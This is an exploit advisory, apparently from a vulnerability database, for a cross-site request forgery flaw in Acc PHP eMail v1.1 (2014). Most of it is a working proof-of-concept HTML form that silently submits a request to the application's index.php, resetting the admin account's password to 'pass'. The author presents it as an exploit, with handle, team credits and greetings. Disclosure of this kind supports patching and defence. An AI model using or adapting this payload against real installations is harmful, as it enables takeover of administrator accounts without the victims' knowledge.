Acc PHP eMail 1.1 - CSRF

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Acc PHP eMail v1.1 CSRF vulnerability - Change passwor


                                                               ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __&#60;   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 01000010 01101001 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Acc PHP eMail v1.1 - [ CSRF ]
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: [email protected]
# [x] Homepage : www.ssteam.ws
# [x] Thanks: packetdeath,,Zer0flag,redking and ssteam.ws ...
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#  It Changes the password
#
#  http://localhost/mailinglist/index.php
#
# // Start CSRF
# &#60;html&#62;
# &#60;form action=&#34;http://localhost/mailinglist/demo/index.php&#34; method=&#34;POST&#34;&#62;
# &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;change&#34;&#62;
# &#60;input type=&#34;hidden&#34; name=&#34;id&#34; value=&#34;1&#34;&#62;
# &#60;input type=&#34;hidden&#34; id=&#34;text&#34; name=&#34;user&#34; value=&#34;admin&#34;&#62;
# &#60;input type=&#34;password&#34;  name=&#34;password&#34; value=&#34;pass&#34;&#62;
# &#60;input type=&#34;password&#34;  name=&#34;password1&#34; value=&#34;pass&#34;&#62;
# &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;change1&#34;&#62;
# &#60;input type=&#34;submit&#34; name=&#34;login&#34; value=&#34;Modify&#34;&#62;
# &#60;/form&#62;
# &#60;/html&#62;
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]

#EOF

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1